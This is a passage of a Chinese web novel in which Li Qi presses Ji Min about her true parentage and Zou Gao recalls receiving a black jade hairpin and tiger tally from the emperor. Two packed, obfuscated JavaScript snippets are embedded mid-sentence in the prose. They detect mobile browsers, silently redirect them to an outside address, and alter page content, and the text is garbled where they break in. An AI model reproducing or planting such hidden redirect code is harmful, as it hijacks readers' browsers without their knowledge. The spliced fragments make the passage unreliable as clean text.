幻樱还是摇头,“不清楚,我只知道去年和今年,你生辰前一个月,常胜王都送了很多奇珍异宝到金曲楼来,让师父转交给你。” 幻樱看向旁边满是血污的腰包说,“这个腰包就是他送来的呢。” 李棋又是一愣,她万万没想到,她最喜欢的腰包竟然是邹杲送的。 她一时思绪万千,近期发生的一桩桩、一件件好似一团乱麻,怎么都理不清。 见她这样,幻樱叹了口气,摸摸她的头发说:“我也不知道师父在做些什么,但师父对你的爱是毋庸置疑的,无论如何,你都要相信,师父不会害你。” 李棋被安慰到了,但不多,她笑笑,没再说话。 幻樱也闭上了嘴巴,仔仔细细帮她处理伤口。 李棋的好几个脚趾都磨破了,虽然上了药,但毕竟不是仙丹妙药,恢复也需要一个过程。 幻樱让她在马车里休息,但外面闹哄哄的,所有人应该都已经回来了,她要出去看看,幻樱拗不过她,只能唤人送来雨伞,带她下车去。 邹杲和暗秋城的几人在检查摆弄中间摆着的二十来具尸体,萧逾和文蕼还有纪敏在远处不知道在说些什么。 萧逾和文蕼也换了一身衣服,身上的伤应该也已经处理过了。。 顾不上幻樱的呼喊,李棋拿过幻樱手中的伞,提着过于华美的衣裙快步朝纪敏三人走去。 幻樱的呼喊让三人注意到她,三人停下交谈,纷纷看了过来,李棋状若惘闻笑问:“娘亲,你们在聊些什么呢?” 纪敏上前几步搀着她,没好气捏捏她的脸,嗔怪道:“都伤成这样了,怎么不就在马车里休息?” 李棋装傻憨笑,见萧逾和文蕼也走到面前,萧逾还泪眼汪汪看着她们,纪敏无奈笑道:“逍遥门的这位小友说我与他的母亲长得很像,非说我就是她的娘亲、你就是他的姐姐。” 萧逾脸上都是委屈,一如他兴冲冲认李棋,但李棋不认他的时候。 “姐姐……”萧逾看向李棋,“你和娘亲原来一直生活在一起,爹爹呢,你们为什么不来找我。” 萧逾说着说着就哭了,显然是委屈极了。 李棋很是无措,再一看纪敏,也是同样的无奈无措。 但她拿出手帕,上前轻柔替萧逾擦去了脸上的泪,“小逾,大千世界,长得相似的人太多太多,你真的认错了,我不是你的母亲。” 纪敏脸上有心疼、有怜惜,却不见说谎慌乱的痕迹。 萧逾身后静默为他撑伞的文蕼突然问:“不知蝶恋花前辈是否有姐妹?” 纪敏手上的动作一顿,萧逾也抬头期许望着她。 李棋也一样,在等她的回答。 只见她收起手帕,似乎陷入了回忆,许久,才苦笑着对文蕼说:“我是有好几个姐妹,但生在这样的乱世,还在我还很小的时候,就和她们走散了。” 她又看向萧逾,摸摸他的脸说:“你和我还有小七儿长得这般像,说不定,你真是我走失的某个姐妹所生的孩子,你若是愿意,可以叫我一声姨母。” 这并不是萧逾想要的回答,他失魂落魄摇头,眼泪一直掉,半天没说出话来。 在场的人都看得揪心,几人都想伸出手替他擦去泪水,安抚他一番,却又没有立场。 最终,还是文蕼将他揽到怀中,让他伏在胸膛哭个尽兴。 纪敏叹了口气,“幻樱,待萧公子心绪平复,带逍遥门的二位公子去马车上休息。” 幻樱应好。 纪敏又看向文蕼,还没张口,就见文蕼笑着说:“前辈尽管去忙,我的师弟我会照顾好。” 他又看向李棋,玩笑说:“小棋妹妹,你要去忙也先去,难得沾你的光,能去金曲楼见识一番,我和师弟说什么也要玩个尽兴再回去。” 李棋豪气笑道:“好,你们尽管去金曲楼玩,吃喝住全记在我头上。” 纪敏也笑了笑,母女俩对视一眼,同撑一把伞朝邹杲等人走去。 走出去七八丈,李棋才小声问:“娘亲,你和邹杲……” 她犹豫着还没问出口,纪敏先没好气说:“还不是为了你。” “啊?”李棋惊愕不已,“为我!” 纪敏幽怨道:“也不知道是谁,都还不懂什么是婚嫁,去一趟嬴国之后就天天嚷嚷着以后要嫁给什么‘姜茭哥哥’。” 李棋不记得十岁以前的记忆,但听娘亲这么说,还是莫名有些脸热。 纪敏又说:“你以为,要不是有我从中作梗阻拦,在旁人妻妾儿女成群的年纪,一人之上万人之下的常胜王还能独身至今?男人都是管不住下半身的,就算他是邹杲,也不能免俗。” 李棋一想,好像还真是,差点就被说服了。 好半天,才反应过来,要真只是为了她,那娘亲把邹杲抓到玄林去,让她圈养起来不是更省事吗。 她刚打算反驳追问,娘亲的另一个徒弟幻竹姐姐走上前来,喊了声师父,其余人也看到了她们,不约而同朝她们这边看过来。 纪敏问:“有什么发现?” 幻竹摇头,“两批人身上都有奇怪的图腾,但这两种图腾都是第一次出现,他们身上也没有明显的能指向身份的物件,一时半会无法判断他们的身份,唯一能确定的是这两批人都经过长期的专业训练。” 邹杲幽然笑道:“前辈不是抓了三个活口吗,放出来让本王帮着审一审,定能知道更多信息。” “常胜王身负重伤,这种脏活就不劳烦你动手了。”纪敏若无其事说罢,转而对幻竹吩咐,“把这些人埋了,启程回金曲楼。” 同一时间,李棋被鸾絮五人围着夸得都无所适从了。 “早就知道小棋妹妹天生丽质,不成想,换上华服简直就是天女下凡。”水卉如是夸赞。 鸾絮则伸手点了点李棋的嘴唇,“这口脂的颜色好漂亮,衬得姐姐气色姿态好好。” 阎绯凑近闻了闻,赞同道:“好看又好闻,配小棋妹妹刚好。” 邹杲眉头紧锁,想挤进去把李棋拉出来,却被跟着心情愉悦的纪敏不动声色拦住了去路。 毕竟是丈母娘,邹杲只能咬牙忍下。 这时,两匹骏马以极快的速度朝他们奔来,众人一惊,本能将李棋护在身后。 李棋心中感激不已,再仔细一看那两匹马儿的模样,她又欢喜不已,从众人身后挤了出来。 “千赤,玄翼!” 两匹马儿将李棋和邹杲围在中间,一个劲的围着两人转圈,好像在跳舞一样。 小七儿从千赤身上跳到李棋怀中,爬到她脖颈间蹭蹭,又跳到邹杲身上嗅嗅。 温馨的画面,看得人心中暖洋洋的。 等两匹马庆祝了会儿,邹杲满脸笑意低头问李棋,“要和我一起给它们找吃的吗?” 李棋嗯嗯点头,当即对旁边众人道:“娘亲你替我招待好阎绯姐姐她们,我和哦祖国去喂马儿吃点草料,很快回来。” 纪敏说好,又给指了路。 * 李棋牵着玄翼、捧着小七儿,邹杲牵着千赤、举着伞,两人并肩朝纪敏所指的马车走去。 一时无言,却也和谐。 在照看草料的人的帮助下取出草料,用手拿着喂两匹马儿吃了一些,才听邹杲先开口说:“你都知道了吧。” 李棋瞬间明白他在说什么,但脸没由来的发热,她低头看着两匹马儿,也不吭声,全当没听到。 一对木鱼挂坠和邹杲大但瘦长的手进入她的视线。 邹杲又说:“时至今日,我知道可能我说什么你都不会信,我也不敢奢求你立刻完成儿时的约定,从而站在我这边、信任我、无条件为我做事……” 越说越过分,李棋不由愕然抬头看去,只见邹杲脸上依旧堆满了笑意,却不是她熟悉的、牙痒痒的、好像一切尽在他掌握之中的笑容。 他的笑容中多了很多复杂的情绪。 “你怎么了?是那瓶药!”李棋抓起邹杲的手腕,摸上他的脉搏。 邹杲就这么一动不动任由她摸。 李棋摸出了满腔疑问,“毒性暂时已经稳住了啊,你怎么回事,怎么一副好像命不久矣的样子。” 邹杲笑笑,“从喝下无忧开始,我不就已经命不久矣了吗。” 李棋并没有被他糊弄过去,“是这样没错,但你今日的表情怎么这么奇怪?” “有什么奇怪的,不就是平常的样子。”邹杲说着摸了摸自己的头发和脸,不要脸说,“真要挑出点不同,那多半也是比之前更俊朗了。” 李棋只觉无语,白眼快翻到天上去了。“要点脸吧你。” 兀地,她想起那支邹杲尤为在意的黑玉簪,“是因为那支黑玉簪吗?” 邹杲沉默了,被说中心事的沉默。 李棋又问:“是你父母留给你的?” 邹杲摇摇头,却没有解释。 这时,金曲楼的人招呼启程了。 李棋看向邹杲,“你要和我坐一辆马车吗?” 邹杲惊喜笑了笑,却拒绝了她,“你难得与你母亲见面,你们先好好叙旧吧。” 李棋知道,这是邹杲不想再和她谈论那支黑玉簪的意思。 她勉强笑了笑,将肩上的小七儿取下递给邹杲,“那好,我找我娘亲去了,千赤和玄翼、还有小七儿就都交给你了。” 邹杲笑着接过,目送她转身先行。 ——邹杲的回忆2—— “动了,父皇,你快看,阿杲的眼皮动了!” “朕看到了,你闭嘴,别吵着阿杲。” 吵闹的话语中,邹杲睁开眼,第一眼看到的就是邹瑅和成武帝关切万分的模样。 “义父……”他挣扎着想起身,但胸膛的伤真的好疼,哪怕这种疼痛并不陌生,他还是没法咬牙保持平静。。 “好好躺着别动。”成武帝将坐在床边的邹瑅提溜起来,自己一屁股坐下按住邹杲,“那支箭上有剧毒,军医迫不得已剜掉了伤口周围的一圈腐肉。” 他伸手抹去邹杲额头的冷汗,“阿杲,苦了你了。” “义父无碍就好。” 彼时的邹杲是真的还是把成武帝当父亲看待的。 成武帝长叹一口气,许久没能说出话来。 这时,邹瑅咋咋呼呼端来一碗汤药,“阿杲,快先把药喝了。” 邹瑅端着冒着热气的汤药跑得飞快,感觉他随时都会摔倒将汤药泼撒出来。 成武帝一手护住邹杲,没好气对邹瑅道:“你慢点,小心别摔了,泼阿杲身上。” “不会,我端得很稳。”邹瑅大言不惭,笑得憨傻。 邹杲不由觉得好笑。 成武帝也被感染,却还是继续挑他的刺,“还这么烫,阿杲怎么喝,还是说你生怕他不死,要再加把劲?” 邹瑅一愣,听到后半句又直感冤枉,他委屈巴巴看向邹杲,“阿杲你看,父皇又冤枉我。” 邹杲笑笑,“义父是在逗你。” 成武帝剜邹瑅一眼,见邹杲要起来,又连忙搀扶他,“慢点,别牵扯到伤口。” 见状,邹瑅也连忙放下汤药上前帮忙。 成武帝嫌床榻太硬,直接让邹杲靠在他身上,邹杲怎么拒绝都没用,还被邹瑅调侃出了一个大红脸。 “好了,阿杲伤还没好,你少逗阿杲。”成武帝伸出手,“把药给我。” 邹瑅连忙将吹了好一会的汤药捧着递到成武帝面前。 成武帝拿起勺子,舀起一勺又吹了吹,才小心递到邹杲嘴边。 邹杲这么大个人了,被父亲跟抱小孩一样抱在怀中喂药,他怎么都觉得不自在。 “义父,这不合规矩,还是我自己喝吧。”他忍着疼痛说着,就想起身将药碗从邹瑅手中接过来,成武帝却按住他,没让他乱动弹。 成武帝佯装生气道:“你我父子,父亲喂儿子喝药有什么不合规矩。” 邹瑅也说:“阿杲你就别管什么规矩不规矩了,你昏迷的这十日,都是我和父皇轮流守着给你擦拭身体换药的,哪一件都比喂药更费劲。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776199|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我昏迷了十日?”邹杲只觉意外惊诧。 邹瑅点头,心有余悸,“是啊,我和父皇都快被你吓死了。” 成武帝难掩欣喜,道:“醒了就好,来,先喝药。” 邹杲不再觉得不自在,乖乖让成武帝照顾着喝下一整碗汤药。 邹瑅又去端了一碗米粥来,邹杲喝下半碗就觉胃中难受,成武帝察觉,当即不再劝他。 又喝了小半碗参汤,缓了缓,邹杲才问:“义父,放暗器的人抓到了吗?” 说起这个,成武帝的脸色变得严峻,一时没有言语。 邹瑅叹气道:“赵国的皇室血脉跑了好几个,我们如今还留在赵国的皇宫中,一方面是你还没醒,另一方面也是还在封锁全城抓人。” 外边突然有人来报,似乎有什么紧急的情况要汇报。 成武帝转头叮嘱邹瑅几句,又让邹杲放宽心、安心养伤,这才挥袖离去。 邹瑅坐到床边,拿起一块糕点扳了一点点喂到邹杲嘴里,这才说:“从我们打进万荣开始,隔三差五就有不怕死的在城中作乱。” 闻言,邹杲生怕成武帝再被暗算,连忙对邹瑅道:“我这边不需要照顾,你快去保护义父。” 邹瑅按住他,安抚道:“放心,经过上次那一遭,父皇轻易都不会直接到前线去。” 他笑了笑,玩笑又说,“放心吧,父皇可是第二个一统天下的皇帝诶,他看得比谁都远,不会轻易让自己再陷入危险之中的。” 话虽这么说,邹杲却还是担心,邹瑅又喂了他一点甜甜的糕点,又主动和他说起这些天发生的事情。 深夜,两人都睡了,成武帝才疲惫赶来。 见邹瑅在床的内侧呼呼大睡,成武帝无奈,直骂他猪崽子,喊他照顾人,要照顾的没睡,自己倒是先睡得酣畅。 邹杲本来不觉有什么,但成武帝的语气太过生动,他不由也笑了。 “我已经没有大碍了,阿瑅守了我这么久,让他睡吧。”邹杲压低声音又问,“义父忙到现在吗?事情很棘手?” 成武帝露出疲态,“一些小蚱蜢,只是胜在数量多。” 邹杲现在也帮不上忙,只能劝道:“我已无大碍,义父不必每日来看我,您快回去休息吧。” 成武帝摇摇头,俯身摸摸他的额头,“不看看朕放心不下,也睡不好。” 他心有余悸道:“你是不知道你前几日体温有多高,”他说着就哽咽了,终于露出不属于帝王的脆弱,“我真怕你救不过来了……” 邹杲受宠若惊,感激得眼眶鼻子都有些酸,“义父……” 成武帝摸了摸他的脑袋,“醒过来就好。”他说罢起身,“你早些睡,朕先也有些累了,”他按住想起身相送的邹杲,“别起来,只有你我父子三人,不必在意这些虚礼。” 见状,邹杲只提醒道:“嗯,天黑,义父多加小心。” “宫中都是我军将士,那些蚱蜢有通天本领也进不来。好了,朕回了。” 成武帝这才真正转身离去,邹杲侧躺在床上目送他离开,见他向来挺拔的背脊有些佝偻,只觉心疼万分,却又无能为力。 * 之后几日,邹瑅日日陪着他,成武帝照例每日来看望陪他一会儿,只是时间不太稳定。 又过了十日,他已经能下床行走,万荣城内也基本稳定,三军准备返回。 这天吃过午饭后,成武帝和邹瑅都去了军中,邹杲被副将姚鼎搀着在宫殿中散步。 走到一处小假山,听到假山的另一边值守的两名士兵小声在议论什么。 姚鼎一惊,当即要出声打断他们,邹杲反应更快,先一步按住了姚鼎。 只听一人压低声音问:“骁勇大将军的那把金铜钺真的被熔了吗?” 另一人回:“陛下当着三军所有将领的面亲自下的命令,这还能有假,我跟你说,熔钺的一人是我……” 邹杲只觉天塌了,再也听不下去,转身就走。 他差点摔倒,姚鼎大惊,“大将军,”连忙上前扶着他。 邹杲挣脱他的搀扶,自己强撑着回到他暂住的寝殿之中,再没理任何人。 晚上,成武帝来了。 邹杲当即起身跪下,“臣参见陛下。” 成武帝快步上前接住他,扶他坐下才淡淡道:“你都知道了,朕的确该先和你商量,但……” 邹杲大骇,起身又要跪下,“臣惶恐,臣之所有皆为陛下所赐,陛下随时可以收回……” “阿杲,”成武帝按住他,打断了他谦卑的违心话。 成武帝长叹一声,许久,才道,“战事已歇,而我军战意正胜,朕若不狠心加以震慑,将领拥兵割地称王的历史将会重新上演,阿杲,你在一众将领中最为年轻,也最有威望,又是朕的儿子……阿杲,你要理解朕。” 邹杲岁没有再跪下,却还是垂眸避开成武帝的目光,恭恭敬敬道:“陛下所为,皆为真理,臣不敢有怨言。” 成武帝脸色愁容更深,许久,他起身走到邹杲身前蹲下。 他抓住邹杲的手,“阿杲,此事是为父有愧于你,” 他伸手拦住想要说话的邹杲,又说,“但梁、唐、赵三国皆有皇室血脉藏匿在暗处,待回到鄂阳,你、我、还有阿瑅,我们父子所需要面对的情势将会更加严峻。” “阿瑅心思简单,又被你我护得太过,阿杲,只有你还能再为朕助力,祖上几代积累、你我父子历经十余载才打回来的疆土,必须要守好。这也是完成你和阿瑅的毕生心愿——让天下万民不再流离失所的最好办法。” 邹杲有些动容,又见成武帝从袖袋中掏出一个长长的盒子递给他。 不等他接过,成武帝先将盒子打开,露出了里面的两样物件。 邹杲一惊,“黑玉簪!附虎符!” 成武帝将盒子塞到他的手里,“这一支正是蕴养着起死回生蛊的黑玉簪,五年前,朕靠另一只起死回生蛊起死回生,今日,朕将这最后一只送给你,这是朕这个父亲自认为能给你的最有效的保护。” “至于这枚虎符,见它如见朕,无论你是什么身份,无论朕下达了怎样的旨意,凭此虎符,你仍可在三军中各调动两千骑兵、一万步兵。” 邹杲大惊,连忙起身要跪下拒绝,“义父,这太贵重了,儿臣万不能收。” 成武帝却紧紧按住他的手,让他死死握着黑玉簪和附虎符。 “再贵重,也比不过儿子的命贵重。”成武帝道,“收下吧,阿杲,这是为父唯一能给你的偏爱保障,也是朕附加给你的重任。” 邹杲眼睛一酸,眼泪直接就掉了出来。 他连忙擦去,再一看成武帝,也是眼眶湿润,似有许多无奈与心疼。 成武帝背对他揉了揉眼睛,才回过身来蹲回他身前,拍拍他的肩膀,许久才又严肃道:“这二者,你若坚持还朕,便是不愿再认朕这个义父。” “义父!” 成武帝按住想要起身的邹杲,“好,还认朕这个义父就好!阿杲,早些休息,后日启程返回鄂阳,这几日事务有些繁忙,朕明日就不来看你了。”说罢,他起身头也不回大步离开。 “义父……”邹杲起身追出去两步,却又硬生生停了下来。 看着手中仿佛有生命的黑玉簪和附虎符,邹杲一滴热泪滴落其上,才反应过来,飞快将眼泪抹去。 将二者仔细收了起来。 三日后,英武军大统领杨柯、神武军大统领欧阳慎分别率领麾下二十万兵士前往边疆戍边守国门,十万龙武军还有邹杲邹瑅等人则随成武帝凯旋回朝。 同时,邹杲命天下第一阁大肆散布他对一女子情根深种、非卿不娶的消息。 又过了不久,邹杲被封常胜王,同时,成武帝放话要将唯一的女儿嫁给邹杲。 四月初十,成武帝在鄂阳宫中大办庆功宴,当众为邹杲与公主静姝赐婚,邹杲为心爱女子拒绝圣恩,又在私下和成武帝独处时,再次惹怒龙威,服下无解毒药‘无忧’,并为了自保,上缴神武军兵符。 至此,邹杲与成武帝这个帝父再未见过。 50.辽炀卷·第五章 5 经过五日昼夜不息的赶路,李棋和邹杲跟着纪敏等人畅通无阻的来到了銮城的地界。 金曲楼就坐落在銮城的正中间,是銮城最高最豪华最庞大的建筑群。 这五日,李棋都和纪敏一辆车,但她始终没能开口问纪敏什么。 纪敏自然能看出她的闷闷不乐,其实,她也在等李棋问她,她甚至做好了被李棋厌恶的准备。 但出乎她意料的,李棋非但没有,还格外依恋她,一有机会就往她身上靠,要是她再小点,纪敏毫不怀疑,李棋一定会扒自己身上。 此刻,李棋就枕在她大腿上,闭着双眼,似乎睡得很熟,但纪敏知道她没睡着,呼吸不对。 纪敏无声叹了口气,收起满脸的愁容,捏捏她的脸笑着说:“小懒虫,已经进城了,快起来,让我活动活动,腿都被你压麻了。” 李棋没立刻起来,而是转个身仰面坏笑看着她,“我要是偏不呢……啊呀,疼疼疼,我起来还不成吗。” 话没说完,纪敏笑着捏住了她的脸颊肉,其实不疼,但李棋还是惊叫着不情不愿起身。 她哀怨看着纪敏,大声控诉道:“娘亲,你下手怎么这么重。” 纪敏还没说什么,外边传驾车的马夫出声询问:“大楼主?” 纪敏没好气剜李棋一眼,意思是看你做的好事,又平静回应道:“无事,小七儿跟我玩闹呢。” 李棋眼珠一转,一个坏点子产生。 她扑上前就要探出脑袋高喊救命,但那句不太雅的话是怎么说来着,你是我生的、你一撅屁股我就知道你要拉什么屎。 这不,李棋才起身,就被纪敏拦下捂住了嘴巴。 “小坏蛋。”纪敏笑骂,“今天非给你点教训尝尝,”说着,开始挠李棋的痒痒肉。 纪敏太了解她,深知她那里怕痒,挡过这处还有下一处。 结果就是李棋被挠得直笑,在纪敏身旁扭成了毛毛虫。 “哈哈哈,娘亲,哈哈哈,我错了哈哈哈哈哈,你就饶了哈哈我这一回吧哈哈哈哈……” 纪敏这才放过她,让她坐好,帮她整理弄乱的头发和衣物。 整理间,就听她突然严肃说:“小七儿,你想问什么就问吧,别憋在心里了,我虽不是你亲娘亲,但做了你娘亲这么久,看你这样,我的心里也不好受。” 李棋浑身的轻松惬意瞬间消失殆尽,甚至,一座无形的大山仿佛压到了她身上,让她喘不过气来。 直到纪敏的手抚上她的脸,她才反应过来她竟然哭了。 “小七儿……” 李棋没管脸上的泪水,任由纪敏帮她擦拭,但眼泪太多,纪敏怎么都擦不干净。 李棋看向纪敏,许久沙哑的嗓子才发出哭腔,“娘亲,我们长得这么像,你怎么可能不是我的娘亲,我是做错了什么,你不想要我了吗。” 李棋不想哭,也不想说这些的,但此刻她没法冷静,这些话也不受控说出了口。 纪敏看得心都碎了,但还是轻柔抚摸着她的脑袋,缓慢但郑重,“你没做错什么,我也没有不要你,我只是告诉你事实。” 李棋躲开纪敏的手,侧过头去用双手捂住眼睛,直到眼泪被暴力止住,她才回过头重新看向纪敏,“萧逾是我的亲弟弟吗?” 纪敏收回举在半空的手,看着她的双眸点头。 “萧原萧将军是我们的父亲?” 纪敏再次点头。 “那我们的母亲呢?”李棋没忍住又哭了,但她并没有歇斯底里。 纪敏抬起手想安抚她,见她躲开,只能落寞收回手。 “你们的母亲是我的双生妹妹,她的名字叫纪由,萧家被灭门后,我和她便没有了联系,她或许是死了吧……我派出去的人没找到她的尸体,或许,也还活在某个地方。” 李棋平静听完,肯定出声,“所以,子瞮才是你亲生的孩子。” 纪敏没反驳也没肯定,李棋又说:“灭门萧家的白发男人是我师父,抓走我是为了给子瞮做替身,我失去十岁以前的记忆不是因为生病,梁国宝藏的秘密在我失去的记忆中。” “我猜得都对吗?丽妃娘娘。” 前面纪敏都神色淡淡,一个‘丽妃娘娘’让她瞳孔骤缩,失了态。 丽妃,梁国末代皇帝最宠爱的妃子,公主李蕲的生母,梁国人眼中实至名归的祸国妖姬。 不过,也的确是她一手促成梁国对嬴国宣战,直接导致了梁国的灭国。 李棋的情绪缓和一些,她用平静的语气继续说:“其他的我都能想通,但梁国皇帝年近五十依旧没有儿子,好不容易你为他生了一个,不敲锣打鼓命人昭告天下就算了,为什么还要隐瞒这个儿子的存在,并在好几年后,才大费周章抓来我做替身?” 纪敏眼里都是李棋的身影,但她的眸光并没有聚焦,她似乎陷入了过往的回忆之中,脸上尽是凄切之色,久久没能回过劲来。 李棋看得也不好受,但还是继续冷声逼问:“丽妃娘娘,既然都摊开了,为何还要遮掩,这个问题是很难回答吗?” 纪敏这才回过神来。 她眼神复杂看着李棋,许久才回道:“这就要从你们锁骨上的彼岸花说起了。” “我们?”李棋突然想起萧逾在那个废旧营地中的行为,她简直难以置信,“这彼岸花,难道我、小鱼儿、还有子瞮,我们身上都有?!” 纪敏点头,又拉开自己的领口,同样的位置,生长着一朵同样的彼岸花,只是她的更加黯淡,好像即将消亡一样。 “颜色怎么这么浅,”李棋颤抖着伸出手,“你……” 纪敏握住她的手,温柔笑道:“颜色深浅与身体状况无关,我没事,不用为我担忧。” 李棋不自在抽回手,飞快让自己冷静下来,冷声又问:“那和什么有关?” “你们。”纪敏说,“怀孕生子,药物转移到孩子身上,母亲身上的药物含量自然减少,外在表现也自然减弱。” 那些叽里呱啦的鸟语突然在李棋的脑海中浮现,“那些人是冲这朵花来的。” 纪敏欣慰笑了,亲昵摸摸她的脑袋,一如从前夸赞,“小七儿真聪明。” 她面色一凛,严峻又说:“在他们眼中,你我都是药材,一旦落入他们之手,再没有生还的可能。” 李棋暂时按下有关‘药材’言论的疑惑,只追问:“这就是你不认小鱼儿的原因?” 纪敏点头,“暂时只有你我暴露在他们的视野之中,让他们知道小鱼儿的身份,你我虽能轻松一些……” 不等她说完,李棋忍不住狠厉打断她,“不行,不能让他们知道小鱼儿的存在。” 纪敏笑了,“我也是这样想的,”她压低声音,近乎是警告,“所以记住,你没有弟弟,我也再没有其他孩子。” 李棋点头,一时无言,但还是坚定点了点头。 半晌,她才又问:“你已经是金曲楼的大楼主了,还结交了那么多江湖名流,为什么不求助他们将那些人杀干净?” 纪敏一顿,随即笑了,笑得悲怆,“我们尝试过的,结果…如你所见。” 李棋又说不出话来了。 不等两人再说什么,外面传来敲锣打鼓的欢呼: “大楼主回来了!大楼主回来了!” 马车停了,幻竹幻樱上前掀开车帘迎两人下去。 或许是天公作美,下了好几天的雨在今日终于消停了片刻。 眼前的景象要怎么形容呢,坚楼大榭、翠瓦金翘,怎一个壮观了得,销金窟、地上天宫、醉生梦死处,才勉强能做其代名词。 又听人高声喊道:“奏乐!起舞!为大楼主接风洗尘!” 话音未落,钟鸣磬响,紧接着,丝竹管弦配合而起,乐音大气磅礴又不乏欣喜欢悦。 建筑两边的火台一个接一个迸发出耀眼夺目的火光。 纪敏淡然从容,一手牵着啧啧称奇的李棋缓步进行。 才刚跨出几步,头顶用作装饰的红绸缎上传来动静,李棋抬头望去,只见数个衣着艳丽华美的女子站在红绸的尽头。 随着音乐,她们如凤凰一般顺着各自面前的红绸展翅高飞,所到之处,花瓣飘落、芳香阵阵。 李棋伸手去接,发现花瓣之中居然还有金叶子。 这也太大手笔了吧。 李棋回头望去,只见这些红绸从金曲楼的顶楼五楼延伸而出,跨越中间的道路收拢在对面二楼的楼台之上。 仙女们所过之处散下的花瓣不少落入街上围观的人群之中,幸运接到金叶子的人们阵阵惊呼,好不欢快。 在众百姓齐声高呼‘金曲楼不朽’的背景声中,纪敏带着李棋等人进入了楼内。 走进去半丈,两面巨大的、由金玉丝绸编织而成的门帘串珠遮挡了内部的风光。 李棋迫不及待想看到里面的模样,上前就想掀开串珠一睹为快。 纪敏还拉住她没松手,见她急不可耐,好笑叮嘱了一句,才放开她。 李棋雀跃上前,手才伸出去,两张漂亮的脸从两个串珠中间探出,美了李棋一大跳。 她才惊呼出声,两个美女姐姐已经带着金玉帘远去,露出内部绝美的真面目。 雕栏玉砌、金碧辉煌的大厅之中,若干华美如鸟儿的美人仅凭脚踝上一根红绸,翩翩起舞。 她们在横飞时四散,又在下坠时聚拢,而后如鲜花般绽放,怎一个绝美了得。 乐音中突然加入一道琵琶声,这琵琶声进得有些急,似乎吓到了起舞的仙女们。 她们大惊失色,惊飞四散,引得李棋好几人差点没忍住施展轻功前去营救。 幻竹幻樱等金曲楼的人连忙拦住他们,带着他们继续往前。 这显然是她们表演中的一环,在他们行之大厅中间之后,琵琶声越演越烈,她们也更加惊慌,一个个脑袋朝下,似乎要坠落下来。 有的人都已经朝她们伸出了手,李棋就是其中一个。 她才伸出手去,那名朝她坠来的仙女兀地抓住她的手腕,将她拔地而起,借着脚上的红色,拉着她在空中翩翩飞舞。 琵琶声适时变得舒缓,仙女姐姐漂亮的脸就在眼前,一双柔情似水的眼眸似乎有魔力,让人忍不住沉溺其中。 仙女笑着将李棋拉得近一些,红润饱满的唇瓣近在咫尺,呼吸间,李棋甚至闻到了阵阵令人放松沉沦的清香,这让她忍不住想一亲芳泽。 仙女姐姐又魅惑笑了笑,像是在问她还在犹豫什么。 李棋再也没法保持清醒,撅起嘴巴就要亲上去,仙女姐姐却微微错开脸颊,反而将一个香吻落在她的脸颊。 一瞬间,李棋只觉天地间的花儿都绽放了。 她还想追上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784513|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上一空,她被放到了二楼的宴席前,而仙女姐姐早已离她远去,飞到天上不见了踪影。 她正难受呢,邹杲的声音突然在她背后响起,“就这么舍不得。” 一见是他,李棋脸上笑意全无,气冲冲揪着他的衣服骂:“都怪你,一定是你惊扰了她,你要是不来,我的仙女姐姐就不会离我而去了。” 邹杲笑着捏了捏她的脸,李棋一把推开他,生气道:“你干什么啊!” 邹杲不语,只拿出手帕仔细擦去了从李棋脸上抹下来的红艳口脂。 不等李棋再说什么,隔壁的隔壁传来一道爽朗悦耳的男声,“远道而来皆是客,金曲楼备了些小酒小菜为各位接风洗尘,还请各位朋友不要嫌弃。” 纪敏的声音紧接着从隔壁传来,“来啊,为贵客们斟酒。” 话音未落,那些消失不见的仙女从三楼的楼道间端着金杯玉盏款款而来。 李棋兴奋不已,连忙跑到桌子后面坐好,那乖巧的模样,让人忍俊不禁,都生不起气来。 邹杲便是如此,他好笑走到李棋身边的空位坐下,两位仙女也分别来到他们两边。 仙女跪坐在她脚边倒了一杯酒,媚眼如丝递到她嘴边,“大侠,这是大楼主特意为您准备的美酒,请。” 李棋认出给她倒酒的正是刚刚亲她那个,她连忙撅起嘴巴喝下,“仙女姐姐,我叫李棋,可以告诉我你的芳名吗?” 仙女肤若凝脂的芊芊细手轻攀上李棋的肩膀,“李大侠,奴家名唤绿意。” “好听好听,绿意姐姐人如其名,娇美欲滴、生机勃发。” 两人这边正火热,却听邹杲淡漠疏离说:“本王不喜生人靠近。” 女子委屈努嘴,小步后退了好几步。 李棋不干了,一拍桌子生气道:“邹杲,你装什么正人君子啊!这么漂亮的姐姐,你就说你要不要吧?” 邹杲错愕的神态让李棋莫名心虚,但女子闻言,无助又感激看向李棋,李棋只得硬着头皮又说:“你不要可就都归我了。” “嗯,你喜欢就都给你吧。”邹杲恢复常态,笑着说罢,还往旁边挪了挪,在两人中间给女子腾了个很宽的位置出来。 女子见状连忙挤到两人中间,扑在李棋身上,“奴家青怜,多谢大侠垂怜。” 李棋此刻却被邹杲脸色坦然的、没有半分怒意忍耐的笑意晃得刺眼。 邹杲现在是什么意思,之前鸾絮姐姐抱她的时候,邹杲可不是这样的,两人还因此好几天没说话。 她们儿时的渊源,不是也挑明了,邹杲对她的态度为什么还是这么不明不白,忽近忽远。 不等她说什么,邹杲自己倒了一杯酒朝她举起,“这一路承蒙李大侠照顾,尘琛才有命来到金曲楼,之后还得有劳李大侠照顾,及时行乐,李大侠可定要尽兴啊。” 邹杲言语间没有任何讽刺的意味,他很坦然诚恳在说,但李棋却感觉哪哪都不对劲。 